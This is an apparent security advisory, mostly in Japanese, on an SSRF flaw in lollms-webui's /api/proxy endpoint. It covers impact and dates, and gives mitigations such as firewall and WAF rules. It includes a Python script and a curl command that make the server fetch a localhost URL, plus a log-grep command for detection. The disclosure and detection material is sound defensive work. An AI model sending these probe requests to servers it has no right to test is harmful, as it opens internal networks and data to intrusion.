parisneo/lollms-webuiにおけるSSRF

このSSRF脆弱性は、攻撃者がlollms-webuiサーバーを経由して、内部ネットワークや外部Webサービスへの不正なアクセスを可能にします。例えば、攻撃者は内部の管理コンソールやデータベースにアクセスしたり、機密情報を窃取したりする可能性があります。また、認証情報が漏洩した場合、攻撃者は被害サーバーの権限を悪用して、他のシステムへの攻撃を試みることも考えられます。既存のセキュリティ対策（forbidremoteaccess(lollmsElfServer), lollmsElfServer.config.headlessservermode, checkaccess(lollmsElfServer, request.clientid))では、この脆弱性を完全に防ぐことができません。

Organizations deploying lollms-webui, particularly those exposing it to untrusted networks or using it to proxy requests to internal services, are at risk. Shared hosting environments where multiple users share the same server instance are also vulnerable, as an attacker could potentially exploit the vulnerability through another user's account.

• python / server:

import requests
import json

url = 'http://your_lollms_webui_ip/api/proxy'
headers = {'Content-Type': 'application/json'}
data = json.dumps({'url': 'http://127.0.0.1:8080'}) # Test URL

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
    print("Potential SSRF detected.  Review response content.")
    print(response.text)
else:
    print("Request failed.")

• generic web:

curl -v -X POST 'http://your_lollms_webui_ip/api/proxy' -H 'Content-Type: application/json' -d '{"url":"http://127.0.0.1:8080"}'

• linux / server:

journalctl -u lollms-webui -f | grep "proxy request" # Look for suspicious URLs in logs

1. 2025-03-20Disclosure

   disclosure

1. 予約済み2024-12-18
2. 公開日2025-03-20
3. EPSS 更新日2026-04-02

この脆弱性に対する直接的な修正は、lollms-webuiのアップデートを待つ必要があります。アップデートが利用可能になるまで、以下の緩和策を検討してください。まず、/api/proxyエンドポイントへのアクセスを制限するファイアウォールルールを実装し、許可されたIPアドレスからのアクセスのみを許可します。次に、lollmsElfServerの設定を見直し、不要なリモートアクセスを無効化します。WAF（Web Application Firewall）を導入し、SSRF攻撃を検知・防御するルールを設定することも有効です。攻撃検知のため、アクセスログを監視し、異常なリクエストパターンを検出するアラートを設定してください。